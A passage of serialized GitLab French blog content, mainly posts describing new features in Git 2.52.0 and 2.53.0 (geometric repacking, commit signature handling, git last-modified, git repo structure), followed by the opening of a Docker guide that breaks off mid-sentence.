services gérés dans le cloud, des infrastructures ou des opérations applicatives.\n* Souhaitez ajouter une approche DevSecOps à forte valeur ajoutée à votre portefeuille.\n* Disposez ou souhaitez développer des talents techniques intéressés par les plateformes de développement modernes.\n* Préférez les relations clients à long terme aux transactions ponctuelles.\n\nSi vous êtes déjà un partenaire GitLab Select et Professional Services, le programme MSP vous offre un moyen structuré de transformer votre expertise en une offre gérée reproductible.\n\n## Commencez dès maintenant\n\nLe programme est lancé avec la désignation **Partenaire MSP certifié**. Il n'y a pas de minimum requis en matière de revenu annuel récurrent (ARR) ou de nombre de clients pour rejoindre le programme. \n\nVoici comment rejoindre le programme :\n\n1. **Confirmez les prérequis :** vérifiez que vous répondez aux exigences commerciales et techniques décrites dans notre [manuel](https://handbook.gitlab.com/handbook/resellers/channel-program-guide/#the-gitlab-managed-service-provider-msp-partner-program).\n2. **Postulez via le portail partenaire de GitLab :** envoyez les documents commerciaux et techniques requis.\n3. **Suivez la formation de 90 jours :** un parcours d'intégration structuré couvre les contrats, les compétences techniques, la formation commerciale et votre premier engagement client.\n4. **Lancez votre offre :** créez vos offres de services, définissez vos accords de niveau de service (SLA) et commencez à échanger avec les clients.\n\nLes candidatures complètes sont examinées dans un délai d'environ trois jours ouvrés.\n\n> Vous souhaitez développer une activité de services gérés GitLab ? Les nouveaux partenaires peuvent demander à [devenir partenaire GitLab](https://about.gitlab.com/fr-fr/partners/). Les partenaires existants peuvent contacter leur représentant GitLab pour en savoir plus sur le programme et nous faire part des solutions qu'ils proposent actuellement à leurs clients dans le cadre de leur activité MSP.\n",[706,730,259],{"featured":652,"template":806,"slug":1085},"introducing-the-gitlab-managed-service-provider-msp-partner-program",{"category":745,"slug":743,"posts":1087},[1088,1100,1113],{"content":1089,"config":1098},{"tags":1090,"category":743,"body":1091,"date":1092,"heroImage":1093,"authors":1094,"description":1096,"title":1097},[932,1021,244],"Le projet Git a récemment publié [Git 2.53.0](https://lore.kernel.org/git/xmqq4inz13e3.fsf@gitster.g/T/#u). Passons en revue quelques points marquants de cette version, qui comprend des contributions de l'équipe Git chez GitLab.\n\n\n## Prise en charge du rempaquetage géométrique avec les dépôts distants promisor \n\n\nLes objets qui viennent d'être créés dans un dépôt Git sont souvent stockés sous forme de fichiers libres individuels. Pour garantir de bonnes performances et une utilisation optimale de l'espace disque, ces objets libres sont régulièrement compressés dans ce qu'on appelle des fichiers d'empaquetage (« packfiles »). Le nombre de fichiers d'empaquetage dans un dépôt augmente au fil du temps en raison des tâches effectuées, comme la création de nouveaux commits ou la récupération depuis un dépôt distant. À mesure que le nombre de fichiers d'empaquetage augmente dans un dépôt, Git doit effectuer davantage de travail pour rechercher des objets individuels. Par conséquent, pour préserver les performances optimales du dépôt, les fichiers d'empaquetage sont périodiquement rempaquetés via git-repack(1) afin de consolider les objets dans un nombre réduit de fichiers d'empaquetage. Lors du rempaquetage, deux stratégies existent : « tout-en-un » et « géométrique ».\n\n\nLa stratégie tout-en-un est assez simple et constitue la stratégie par défaut actuelle. Comme son nom l'indique, tous les objets du dépôt sont empaquetés dans un seul fichier. Cette approche est idéale pour le dépôt d'un point de vue des performances, car Git n'a besoin de parcourir qu'un seul fichier d'empaquetage lors de la recherche d'objets. Le principal inconvénient ? Le calcul d'un fichier d'empaquetage unique pour un dépôt peut prendre beaucoup de temps en cas de dépôt volumineux.\n\n\nLa stratégie géométrique permet d'atténuer ce problème en maintenant une progression géométrique des fichiers d'empaquetage en fonction de leur taille, au lieu de toujours rempaqueter dans un seul fichier. Lors du rempaquetage, Git maintient un ensemble de fichiers d'empaquetage classés par taille, où chaque fichier de la séquence doit avoir au moins deux fois la taille du fichier d'empaquetage précédent. Si un fichier d'empaquetage de la séquence enfreint cette propriété, les fichiers d'empaquetage sont combinés selon les besoins jusqu'à ce que la progression soit rétablie. Cette stratégie permet de limiter le nombre de fichiers d'empaquetage dans un dépôt tout en minimisant également la quantité de travail à effectuer pour la plupart des opérations de rempaquetage.\n\n\nToutefois, la stratégie de rempaquetage géométrique n'était pas compatible avec les clones partiels. Ces derniers permettent de cloner uniquement certaines parties d'un dépôt (par exemple en ignorant tous les blobs de plus de 1 mégaoctet). Cette approche peut réduire considérablement la taille d'un dépôt, et Git sait comment récupérer les objets manquants auxquels il doit accéder ultérieurement.\n\n\nRésultat : nous obtenons un dépôt dans lequel il manque certains objets. Tout objet qui pourrait ne pas être entièrement connecté est stocké dans un fichier d'empaquetage « promisor ». Lors du rempaquetage, cette propriété promisor doit être conservée pour les fichiers d'empaquetage contenant un objet promisor, afin qu'il soit possible de déterminer si un objet manquant est attendu et peut être récupéré depuis le dépôt distant promisor. Avec une stratégie de rempaquetage tout-en-un, Git sait gérer correctement les objets promisor et les stocke dans un fichier d'empaquetage promisor distinct. Malheureusement, la stratégie de rempaquetage géométrique ne savait pas comment accorder un traitement spécial aux fichiers d'empaquetage promisor et les fusionnait avec des fichiers d'empaquetage normaux sans tenir compte de la présence d'objets promisor. Heureusement, en raison d'un bogue, la commande git-pack-objects(1) sous-jacente échoue lors de l'utilisation du rempaquetage géométrique dans un dépôt de clone partiel. Les dépôts dans cette configuration ne pouvaient donc de toute façon pas être rempaquetés. Ce n'est pas idéal, mais c'est un résultat préférable à une corruption du dépôt.\n\n\nAvec la sortie de Git 2.53, le rempaquetage géométrique fonctionne désormais avec les dépôts de clones partiels. Lors d'un rempaquetage géométrique, les fichiers d'empaquetage promisor sont gérés séparément afin de préserver le marqueur promisor et sont rempaquetés selon une progression géométrique distincte. Avec ce correctif, la stratégie géométrique suit une progression logique en vue de s'imposer comme la stratégie de rempaquetage par défaut. Pour plus d'informations, consultez le [fil de discussion de la liste de diffusion](https://lore.kernel.org/git/20260105-pks-geometric-repack-with-promisors-v1-0-c4660573437e@pks.im/) correspondant.\n\n\nCe projet a été mené par [Patrick Steinhardt](https://gitlab.com/pks-gitlab).\n\n\n## git-fast-import(1) : préservation des signatures valides uniquement \n\n\nDans notre [article de blog consacré à la version Git 2.52](https://about.gitlab.com/fr-fr/blog/whats-new-in-git-2-52-0/), nous avons abordé les améliorations liées aux signatures apportées à git-fast-import(1) et git-fast-export(1). Consultez cet article pour une explication plus détaillée de ces commandes, de leur utilisation et des modifications apportées concernant les signatures.\n\n\nPour résumer brièvement, git-fast-import(1) fournit un backend qui permet d'importer efficacement des données dans un dépôt et qui est utilisé par des outils tels que [git-filter-repo(1)](https://github.com/newren/git-filter-repo) pour aider à réécrire l'historique d'un dépôt en masse. Dans la version Git 2.52, git-fast-import(1) a appris l'option `--signed-commits=\u003Cmode>`, qui est similaire à la même option dans git-fast-export(1). Avec cette option, il est devenu possible de conserver ou de supprimer de façon inconditionnelle les signatures des commits et des tags.\n\n\nDans les situations où seule une partie de l'historique du dépôt a été réécrite, toute signature pour les commits ou tags réécrits devient invalide. Cela signifie que git-fast-import(1) est limité : la commande peut soit supprimer toutes les signatures, soit les conserver même si elles sont devenues invalides. Mais conserver des signatures invalides n'est pas vraiment utile, c'est pourquoi la réécriture de l'historique avec git-repo-filter(1) entraîne la suppression de toutes les signatures, même si le commit ou tag sous-jacent n'est pas réécrit. Cette approche n'est pas idéale : si le commit ou tag ne change pas, sa signature est toujours valide et il n'y a donc aucune raison réelle de la supprimer. Nous avons en réalité besoin de préserver les signatures pour les objets inchangés, et de supprimer les signatures invalides.\n\n\nAvec la sortie de Git 2.53, l'option `--signed-commits=\u003Cmode>` de git-fast-import(1) a appris un nouveau mode `strip-if-invalid` qui, lorsqu'il est utilisé, supprime seulement les signatures devenues invalides des commits réécrits. Ainsi, avec cette option, il devient possible de préserver certaines signatures de commits lors de l'utilisation de git-fast-import(1). Il s'agit d'une étape critique vers la mise en place des bases qui permettent à des outils comme git-repo-filter(1) de préserver les signatures valides et, plus tard, de signer à nouveau les signatures invalides.\n\n\nCe projet a été mené par [Christian Couder](https://gitlab.com/chriscool).\n\n\n## Plus de données collectées dans git-repo-structure\n\n\nDans la version Git 2.52, la sous-commande « structure » a été introduite dans git-repo(1). L'objectif de cette commande était de collecter des informations sur le dépôt et de remplacer éventuellement nativement des outils tels que [git-sizer(1)](https://github.com/github/git-sizer). Chez GitLab, nous hébergeons des dépôts extrêmement volumineux, et disposer d'informations sur la structure générale d'un dépôt est essentiel pour comprendre ses performances. Dans cette version, la commande collecte désormais également des informations sur la taille totale des objets accessibles dans un dépôt afin d'aider à comprendre la taille globale du dépôt. Dans les données de sortie ci-dessous, vous pouvez voir que la commande collecte désormais à la fois les tailles totales décompressées et sur disque des objets accessibles par type.\n\n```shell\n$ git repo structure\n\n| Repository structure | Value      |\n| -------------------- | ---------- |\n| * References         |            |\n|   * Count            |   1.78 k   |\n|     * Branches       |      5     |\n|     * Tags           |   1.03 k   |\n|     * Remotes        |    749     |\n|     * Others         |      0     |\n|                      |            |\n| * Reachable objects  |            |\n|   * Count            | 421.37 k   |\n|     * Commits        |  88.03 k   |\n|     * Trees          | 169.95 k   |\n|     * Blobs          | 162.40 k   |\n|     * Tags           |    994     |\n|   * Inflated size    |   7.61 GiB |\n|     * Commits        |  60.95 MiB |\n|     * Trees          |   2.44 GiB |\n|     * Blobs          |   5.11 GiB |\n|     * Tags           | 731.73 KiB |\n|   * Disk size        | 301.50 MiB |\n|     * Commits        |  33.57 MiB |\n|     * Trees          |  77.92 MiB |\n|     * Blobs          | 189.44 MiB |\n|     * Tags           | 578.13 KiB |\n```\n\n\nVous aurez peut-être également remarqué que les valeurs de taille dans le tableau des données de sortie sont désormais également affichées de manière plus conviviale avec des unités. Dans les versions suivantes, nous espérons étendre davantage les données de sortie de cette commande pour fournir des éléments supplémentaires, tels que les objets individuels les plus volumineux du dépôt.\n\n\nCe projet a été mené par [Justin Tobler](https://gitlab.com/justintobler).\n\n\n## Pour en savoir plus\n\n\nCet article n'a mis en évidence que quelques-unes des contributions apportées par GitLab et la communauté Git pour cette dernière version. Vous pouvez en apprendre davantage sur ces contributions dans l'[annonce de version officielle](https://lore.kernel.org/git/xmqq4inz13e3.fsf@gitster.g/T/#u) du projet Git. Consultez également nos [articles de blog précédents sur les versions de Git](https://about.gitlab.com/fr-fr/tags/git/) pour découvrir d'autres contributions des membres de l'équipe GitLab.","2026-02-03","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663087/Blog/Hero%20Images/git3-cover.png",[1095],"Justin Tobler","Découvrez les contributions à cette version, notamment les correctifs apportés au rempaquetage géométrique, une évolution des options de gestion des signatures de commits dans git-fast-import(1), et bien plus encore.","Nouveautés de Git 2.53.0",{"featured":652,"template":806,"slug":1099},"whats-new-in-git-2-53-0",{"content":1101,"config":1111},{"tags":1102,"category":743,"date":1103,"heroImage":1093,"authors":1104,"title":1108,"description":1109,"body":1110},[932,1021,244],"2025-11-19",[1105,1106,1107],"Christian Couder","Toon Claes","Patrick Steinhardt","Nouveautés de Git 2.52.0","Découvrez les contributions à cette version, notamment la nouvelle commande git-last-modified(1), les améliorations des outils de réécriture de l'historique et une nouvelle stratégie de maintenance.","Le projet [Git](https://about.gitlab.com/fr-fr/blog/what-is-git/) a récemment publié [Git 2.52](https://lore.kernel.org/git/xmqqh5usmvsd.fsf@gitster.g/). Après un cycle de publication relativement court de 8 semaines pour la [version 2.51](https://about.gitlab.com/fr-fr/blog/what-s-new-in-git-2-51-0/), en raison de l'été dans l'hémisphère nord, cette version revient au cycle habituel de 12 semaines. Passons en revue certaines modifications notables, notamment les contributions de l'équipe Git de GitLab ainsi que de l'ensemble de la communauté Git.\n\n## Nouvelle commande git-last-modified(1)\n\nDe nombreuses forges Git comme GitLab affichent les fichiers dans une vue arborescente comme celle-ci :\n\n| Nom        | Dernier commit                                             | Dernière mise à jour  |\n| ------------- | --------------------------------------------------------- | -------------- |\n| README.md   | README: *.txt -> *.adoc fixes                           | Il y a 4 mois |\n| RelNotes    | Start 2.51 cycle, the first batch                       | Il y a 4 semaines  |\n| SECURITY.md | SECURITY: describe how to report vulnerabilities        | Il y a 4 ans      |\n| abspath.c   | abspath: move related functions to abspath              | Il y a 2 ans      |\n| abspath.h   | abspath: move related functions to abspath              | Il y a 2 ans      |\n| aclocal.m4  | configure: use AC_LANG_PROGRAM consistently             | Il y a 15 ans |\n| add-patch.c | pager: stop using `the_repository`                      | Il y a 7 mois |\n| advice.c    | advice: allow disabling default branch name advice      | Il y a 4 mois |\n| advice.h    | advice: allow disabling default branch name advice      | Il y a 4 mois |\n| alias.h     | rebase -m: fix serialization of strategy options        | Il y a 2 ans      |\n| alloc.h     | git-compat-util: move alloc macros to git-compat-util.h | Il y a 2 ans  |\n| apply.c     | apply: only write intents to add for new files          | Il y a 8 jours   |\n| archive.c   | Merge branch 'ps/parse-options-integers'                | Il y a 3 mois |\n| archive.h   | archive.h: remove unnecessary include                   | Il y a 1 an       |\n| attr.h      | fuzz: port fuzz-parse-attr-line from OSS-Fuzz           | Il y a 9 mois |\n| banned.h    | banned.h: mark `strtok()` and `strtok_r()` as banned    | Il y a 2 ans      |\n\n \u003Cbr>\u003C/br>\n\nOutre les fichiers eux-mêmes, nous affichons également le dernier commit qui a modifié chaque fichier. Cette information est facile à extraire de Git en exécutant la commande suivante :\n```shell\n\n$ git log --max-count=1 HEAD -- \u003Cfilename>\n\n```\nBien que simple et pratique, cette approche présente une limitation importante : Git ne dispose pas d'un moyen d'extraire cette information pour chacun de ces fichiers en une seule commande. Ainsi, pour obtenir le dernier commit de tous les fichiers de l'arborescence, il faut exécuter cette commande pour chaque fichier séparément, ce qui donne un pipeline similaire à celui-ci :\n```shell\n\n$ git ls-tree HEAD --name-only | xargs --max-args=1 git log --max-count=1 HEAD --\n\n```\nNéanmoins, cette approche n'est pas très efficace :\n\n* Il est nécessaire de lancer une nouvelle commande Git pour chaque fichier.\n\n* Git doit parcourir l'historique de chaque fichier séparément.\n\nEn conséquence, cette opération complète est assez coûteuse et génère une charge importante pour GitLab.\n\nPour répondre à ces défis, une nouvelle sous-commande Git, git-last-modified(1), a été introduite. Elle indique le dernier commit pour chaque fichier d'un commit donné :\n```shell\n\n$ git last-modified HEAD\n\n\ne56f6dcd7b4c90192018e848d0810f091d092913        add-patch.c\n373ad8917beb99dc643b6e7f5c117a294384a57e        advice.h\ne9330ae4b820147c98e723399e9438c8bee60a80        advice.c\n5e2feb5ca692c5c4d39b11e1ffa056911dd7dfd3        alloc.h\n954d33a9757fcfab723a824116902f1eb16e05f7        RelNotes\n4ce0caa7cc27d50ee1bedf1dff03f13be4c54c1f        apply.c\n5d215a7b3eb0a9a69c0cb9aa43dcae956a0aa03e        archive.c\nc50fbb2dd225e7e82abba4380423ae105089f4d7        README.md\n72686d4e5e9a7236b9716368d86fae5bf1ae6156        attr.h\nc2c4138c07ca4d5ffc41ace0bfda0f189d3e262e        archive.h\n5d1344b4973c8ea4904005f3bb51a47334ebb370        abspath.c\n5d1344b4973c8ea4904005f3bb51a47334ebb370        abspath.h\n60ff56f50372c1498718938ef504e744fe011ffb        banned.h\n4960e5c7bdd399e791353bc6c551f09298746f61        alias.h\n2e99b1e383d2da56c81d7ab7dd849e9dab5b7bf0        SECURITY.md\n1e58dba142c673c59fbb9d10aeecf62217d4fc9c        aclocal.m4\n```\nL'avantage de cette approche est évident : nous n'avons plus besoin d'exécuter qu'un seul processus Git pour obtenir toutes ces informations. Mais plus important encore, Git ne doit parcourir l'historique qu'une seule fois pour tous les fichiers.\n\nVoici comment faire :\n\n1. Commencez à parcourir l'historique depuis le commit souhaité.\n2. Pour chaque commit :\n   1. S'il ne modifie aucun des chemins d'accès qui nous intéressent, continuez au commit suivant.\n   2. En cas de chemins d'accès modifiés, affichez l'identifiant du commit avec le chemin, puis retirez le chemin de l'ensemble des chemins.\n3. Arrêtez-vous lorsque la liste des chemins est vide.\nGitaly a déjà été adapté pour utiliser la nouvelle commande, mais la logique est encore protégée par un feature flag. Des tests préliminaires ont montré que dans la plupart des situations, `git-last-modified(1)` est au moins deux fois plus rapide que `git log --max-count=1`.\n\n*Ces modifications ont été [écrites à l'origine](https://github.com/ttaylorr/git/tree/tb/blame-tree) par plusieurs développeurs de GitHub et ont été [intégrées en amont](https://lore.kernel.org/git/20250805093358.1791633-1-toon@iotcl.com/) dans Git par [Toon Claes](https://gitlab.com/toon).*\n\n## Améliorations liées aux signatures pour git-fast-export(1) et git-fast-import(1)\n\nLes commandes `git-fast-export(1)` et `git-fast-import(1)` sont conçues pour être principalement utilisées par des outils d'interopérabilité ou de réécriture d'historique. Les outils d'interopérabilité ont pour objectif d'assurer des interactions harmonieuses entre Git et un autre logiciel, le plus souvent un système de contrôle de version qui stocke les données dans un format différent de Git. Par exemple, [hg-fast-export.sh](https://github.com/frej/fast-export) est un « convertisseur Mercurial vers Git utilisant git-fast-import ».\n\nLes outils de réécriture d'historique permettent aux utilisateurs, généralement des administrateurs, d'apporter des modifications à l'historique de leurs dépôts qui ne sont pas possibles ou pas autorisées par le système de [contrôle de version](https://about.gitlab.com/fr-fr/topics/version-control/). Par exemple, [reposurgeon](http://www.catb.org/esr/reposurgeon/) indique dans son [introduction](https://gitlab.com/esr/reposurgeon/-/blob/master/repository-editing.adoc?ref_type=heads#introduction) que son objectif est « de permettre des opérations risquées que les systèmes de contrôle de version n'autorisent pas comme (a) modifier des commentaires et métadonnées passés, (b) supprimer des commits, (c) fusionner et diviser des commits, (d) supprimer des fichiers et sous-arbres de l'historique du dépôt, (e) fusionner ou greffer deux dépôts ou davantage et (f) diviser un dépôt en deux en dissociant une relation parent-enfant et en préservant la structure des branches des deux dépôts enfants ».\n\nAu sein de GitLab, nous utilisons [git-filter-repo](https://github.com/newren/git-filter-repo) pour autoriser les administrateurs à effectuer certaines opérations risquées sur leurs dépôts Git. Malheureusement, jusqu'à la [version Git 2.50](https://about.gitlab.com/fr-fr/blog/what-s-new-in-git-2-50-0/) publiée en juin dernier, ni `git-fast-export(1)` ni `git-fast-import(1)` ne prenaient en charge les signatures cryptographiques de commits. Bien que `git-fast-export(1)` ait une option `--signed-tags=\u003Cmode>` qui permette aux utilisateurs de modifier la façon dont les signatures cryptographiques de tags sont gérées, les signatures de commits étaient simplement ignorées.\n\nLes signatures cryptographiques sont très fragiles, car elles sont basées sur les données exactes du commit ou du tag qui ont été signées. Lorsque les données signées ou l'historique qui les précède changent, la signature cryptographique devient invalide. C'est une exigence fragile mais qui rend ces signatures utiles.\n\nDans le contexte de la réécriture d'historique, cette approche devient problématique :\n\n* Nous pourrions vouloir conserver les signatures cryptographiques pour les commits et les tags toujours valides après la réécriture (par exemple, parce que l'historique n'a pas changé).\n\n* Nous pourrions vouloir créer de nouvelles signatures cryptographiques pour les commits et les tags dont la signature précédente est désormais invalide.\n\nCependant, ni `git-fast-import(1)` ni `git-fast-export(1)` ne prennent en charge ces cas d'utilisation, ce que des outils comme [git-filter-repo](https://github.com/newren/git-filter-repo) ou [reposurgeon](http://www.catb.org/esr/reposurgeon/) ne peuvent accomplir.\n\nVoici les progrès significatifs réalisés :\n\n* Dans la version Git 2.50, nous avons ajouté une option `--signed-commits=\u003Cmode>` à `git-fast-export(1)` pour exporter les signatures de commits, et une prise en charge dans `git-fast-import(1)` pour les importer.\n\n* Dans la [version Git 2.51](https://about.gitlab.com/fr-fr/blog/what-s-new-in-git-2-51-0/), nous avons amélioré le format utilisé pour exporter et importer les signatures de commits et modifié `git-fast-import(1)` afin que la commande puisse importer à la fois une signature sur l'ID d'objet SHA-1 du commit et une sur son ID d'objet SHA-256.\n\n* Dans la version Git 2.52, nous avons ajouté les options `--signed-commits=\u003Cmode>` et `--signed-tags=\u003Cmode>` à `git-fast-import(1)`, afin que l'utilisateur puisse contrôler la gestion des données signées au moment de l'importation.\n\n\nLe travail n'est pas encore terminé. Nous devons encore ajouter les fonctionnalités suivantes :\n\n* Conserver uniquement les signatures de commits qui sont toujours valides dans `git-fast-import(1)`.\n\n* Signer à nouveau les données dont la signature est devenue invalide.\n\nNous avons déjà commencé à travailler sur ces prochaines étapes, qui devraient être intégrées à Git 2.53. Une fois ces fonctionnalités disponibles, des outils comme `git-filter-repo(1)` pourront enfin mieux gérer les signatures cryptographiques. Nous vous tiendrons informés dans notre prochain article de blog consacré à la sortie de version Git.\n\n*Ce projet a été mené par [Christian Couder](https://gitlab.com/chriscool).*\n\n## Améliorations des stratégies git-maintenance(1)\n\nLes dépôts Git nécessitent une maintenance régulière pour garantir de bonnes performances. Lors de cette opération, les références sont optimisées, les objets compressés et les données obsolètes éliminées.\n\nJusqu'à la version Git 2.28, ces tâches de maintenance étaient effectuées par `git-gc(1)`. Néanmoins, cette commande n'a pas été conçue dans un esprit de personnalisation : bien que certains paramètres puissent être configurés, il n'est pas possible de contrôler les parties d'un dépôt à optimiser. Elle ne convient donc pas à tous les cas d'utilisation. Plus important encore, il est très difficile d'itérer sur la façon dont Git effectue la maintenance du dépôt.\n\nPour résoudre ce problème et itérer à nouveau, [Derrick Stolee](https://github.com/derrickstolee) a déployé `git-maintenance(1)`. Contrairement à `git-gc(1)`, cette commande a été conçue pour être personnalisable et permet à l'utilisateur de configurer les tâches spécifiques qui doivent s'exécuter dans un certain dépôt. Ce nouvel outil est devenu l'outil par défaut pour la maintenance automatisée de Git dans la version Git 2.29, mais, par défaut, il utilise toujours `git-gc(1)` pour effectuer la maintenance.\n\nBien que cette stratégie de maintenance par défaut fonctionne bien pour les dépôts de petite taille ou même de taille moyenne, elle se révèle problématique dans le contexte de grands monorepos. Le principal facteur limitant est la façon dont `git-gc(1)` rempaquette les objets : dès que le nombre de fichiers d'empaquetage (« packfiles ») dépasse les 50, l'outil les fusionne en un seul fichier. Cette opération gourmande en CPU provoque de nombreuses opérations d'E/S et peut facilement prendre plusieurs minutes, voire des heures pour les grands monorepos.\n\nGit sait déjà comment minimiser ces rempaquetages via le « rempaquetage géométrique ». L'idée est simple : les fichiers d'empaquetage du dépôt doivent suivre une progression géométrique, c'est-à-dire que chaque fichier doit contenir au moins deux fois plus d'objets que le fichier suivant plus petit. Git peut ainsi amortir le nombre de rempaquetages requis et garantir une quantité relativement limitée de fichiers d'empaquetage. Ce mode a été introduit par [Taylor Blau](https://github.com/ttaylorr) dans la version Git 2.32, mais il n'était pas intégré dans la maintenance automatisée.\n\nTous les éléments existants servent à faciliter la mise à l'échelle de la maintenance du dépôt pour les grands monorepos : l'outil flexible `git-maintenance(1)` peut être étendu pour intégrer une nouvelle stratégie de maintenance, et nous disposons d'une meilleure méthode pour rempaqueter les objets. Il ne reste plus qu'à combiner ces deux éléments.\n\nEt c'est exactement ce que nous avons fait dans la version Git 2.52. La nouvelle stratégie de maintenance « géométrique » peut être configurée dans vos dépôts Git et est destinée à remplacer complètement l'ancienne stratégie basée sur `git-gc(1)`. Voici le code de configuration dont vous avez besoin :\n```shell\n\n$ git config set maintenance.strategy geometric\n\n```\nÀ partir de maintenant, Git utilisera le rempaquetage géométrique afin d'optimiser vos objets. Résultat : un taux d'attrition plus faible et une optimisation de l'état de vos objets, en particulier dans les grands monorepos.\n\nDans Git 2.53, nous prévoyons d'en faire la stratégie par défaut.\n\n*Ce projet a été dirigé par [Patrick Steinhardt](https://gitlab.com/pks-gitlab).*\n\n## Nouvelle sous-commande pour git-repo(1) afin d'afficher les métriques du dépôt\n\nLes performances des opérations Git dans un dépôt dépendent souvent de certaines caractéristiques de sa structure sous-jacente. Chez GitLab, nous hébergeons des dépôts extrêmement volumineux, et il est essentiel d'avoir un aperçu de la structure générale d'un dépôt pour comprendre ses performances. Bien qu'il soit possible de combiner diverses commandes Git et d'autres outils pour obtenir certaines métriques du dépôt, il est impossible d'afficher des informations sur la forme/structure d'un dépôt via une seule commande dans Git. Pour combler cette lacune, des outils externes comme git-sizer(1) ont été développés.\n\nAvec la sortie de Git 2.52, une nouvelle sous-commande « structure » a été ajoutée à git-repo(1) dans le but d'afficher des informations sur la structure d'un dépôt. Actuellement, elle indique le nombre de références et d'objets dans le dépôt sous la forme suivante :\n```shell\n\n$ git repo structure\n\n\n| Repository structure | Value  |\n| -------------------- | ------ |\n| * References         |        |\n|   * Count            |   1772 |\n|     * Branches       |      3 |\n|     * Tags           |   1025 |\n|     * Remotes        |    744 |\n|     * Others         |      0 |\n|                      |        |\n| * Reachable objects  |        |\n|   * Count            | 418958 |\n|     * Commits        |  87468 |\n|     * Trees          | 168866 |\n|     * Blobs          | 161632 |\n|     * Tags           |    992 |\n\n```\nDans les versions ultérieures, nous espérons enrichir cette commande et fournir d'autres points de données intéressants comme les objets les plus volumineux du dépôt.\n\n*Ce projet a été mené par [Justin Tobler](https://gitlab.com/justintobler).*\n\n## Améliorations liées au Google Summer of Code 2025\n\nNous avons mené trois projets avec succès au cours du Google Summer of Code.\n\n### Refactorisation pour réduire l'état global de Git\n\nGit contient plusieurs variables globales utilisées dans tout le code source qui augmentent la complexité du code et réduisent sa maintenabilité. Dans le cadre de ce projet, [Ayush Chandekar](https://ayu-ch.github.io/) a réduit l'utilisation de la variable globale `the_repository` via une série de correctifs.\n\n*Le projet a été encadré par [Christian Couder](https://gitlab.com/chriscool) et [Ghanshyam Thakkar](https://in.linkedin.com/in/ghanshyam-thakkar).*\n\n### Outil de requête d'informations lisibles par machine sur le dépôt\n\nGit manque d'un moyen centralisé pour récupérer des informations sur les dépôts. Les utilisateurs sont donc obligés de les obtenir à partir de diverses commandes. Bien que `git-rev-parse(1)` soit devenu l'outil par défaut pour accéder à une grande partie de ces données, il ne s'agit pas de son objectif principal.\n\nDans le cadre de ce projet, [Lucas Oshiro](https://lucasoshiro.github.io/en/) a créé une nouvelle commande, `git-repo(1)`, qui centralisera toutes les informations au niveau du dépôt. Les utilisateurs peuvent maintenant utiliser `git repo info` pour obtenir des informations sur un dépôt :\n```shell\n\n$ git repo info layout.bare layout.shallow object.format references.format\n\nlayout.bare=false\nlayout.shallow=false\nobject.format=sha1\nreferences.format=reftable\n\n```\n*Le projet a été encadré par [Patrick Steinhardt](https://gitlab.com/pks-gitlab) et [Karthik Nayak](https://gitlab.com/knayakgl).*\n\n### Consolidation des fonctionnalités liées aux références dans git-refs\n\nGit propose plusieurs commandes pour gérer les références, à savoir `git-for-each-ref(1)`, `git show-ref(1)`, `git-update-ref(1)` et `git-pack-refs(1)`. Cette multiplication des commandes freine leur utilisation et crée des fonctionnalités redondantes. Pour résoudre ce problème, nous avons développé la commande `git-refs(1)` afin de consolider ces opérations dans une interface unique. Dans le cadre de ce projet, [Meet Soni](https://inosmeet.github.io/) a étendu la commande avec les sous-commandes suivantes :\n\n* `git refs optimize` pour optimiser le backend qui gère les références\n\n* `git refs list` pour afficher toutes les références\n\n* `git refs exists` pour vérifier l'existence d'une référence\n\n*Le projet a été encadré par [Patrick Steinhardt](https://gitlab.com/pks-gitlab) et [shejialuo](https://luolibrary.com/).*\n\n## Et après ?\n\nPrêt à découvrir ces améliorations ? Passez à la version Git 2.52.0 et commencez à utiliser `git last-modified`.\n\nChez GitLab, nous nous assurerons que toutes ces améliorations soient déployées dans une instance GitLab près de chez vous !\n\nPour en savoir plus, consultez les [notes de version officielles de Git 2.52.0](https://lore.kernel.org/git/xmqqh5usmvsd.fsf@gitster.g/) et explorez notre [archive complète du développement Git](https://about.gitlab.com/fr-fr/blog/tags/git/).",{"featured":652,"template":806,"slug":1112},"whats-new-in-git-2-52-0",{"content":1114,"config":1122},{"title":1115,"description":1116,"authors":1117,"date":1118,"body":1119,"category":743,"tags":1120,"heroImage":1121},"Qu’est-ce que Docker ? Notre guide complet","Découvrez ce qu’est Docker, comment il fonctionne, ses avantages et ses limites, et son intégration avec GitLab pour une approche DevSecOps complète.",[972],"2025-10-10","Docker a révolutionné la façon dont les équipes de développement créent, déploient et exécutent leurs applications grâce à une approche innovante : la conteneurisation. Cette approche est devenue incontournable dans le développement logiciel, car elle simplifie considérablement la gestion des environnements et accélère le cycle de développement logiciel. \n\nDans ce guide complet, découvrez tout ce qu'il faut savoir sur Docker : sa définition, son fonctionnement, ses avantages et son application dans un environnement [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que le DevSevOps ?\") avec la plateforme de GitLab. \n\n> [Essayez GitLab Ultimate gratuitement.](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial\n\"Essai gratuit de GitLab.\") \n\n## Docker : définition\n\nDocker est une plateforme de conteneurisation [open source](https://about.gitlab.com/fr-fr/blog/what-is-open-source/ \"Qu'est-ce que l'open source ?\") qui permet aux équipes de développement d'empaqueter leurs applications et toutes leurs dépendances dans des conteneurs légers et portables. Lancé en 2013, Docker a démocratisé l'utilisation des conteneurs en proposant une solution simple et accessible pour créer des environnements d'exécution isolés.\n\n### Qu’est-ce qu’un conteneur Docker ?\n\nUn conteneur Docker représente un environnement d'exécution léger qui encapsule une application avec l'ensemble de ses composants : code source, bibliothèques, dépendances système, variables d'environnement et fichiers de configuration. Il peut parfois être comparé à une machine virtuelle dans le sens où il permet d’héberger des services sur un même serveur physique tout en les isolant les uns des autres. Néanmoins, le fonctionnement d’un conteneur diffère légèrement d’une simple machine virtuelle. \n\nMoins figés qu'une machine virtuelle, en matière de taille de disque et de ressources allouées, les conteneurs partagent le noyau de la machine hôte et isolent les processus, les utilisateurs, etc. Cela les rend très légers et leur permet de fonctionner comme s'ils étaient des machines distinctes. Par conséquent, les applications peuvent être démarrées et arrêtées rapidement.\n\n## Comment fonctionne Docker ?\n\nDocker révolutionne la virtualisation en exploitant les capacités natives du noyau Linux pour créer des environnements d'exécution légers et isolés. Contrairement à la virtualisation traditionnelle qui nécessite des machines virtuelles complètes avec leur propre système d'exploitation, Docker utilise la conteneurisation pour partager le noyau de l'hôte tout en maintenant une isolation parfaite entre les applications.\n\nLa philosophie de Docker repose sur des technologies Linux avancées telles que les namespaces (qui isolent les processus, le réseau 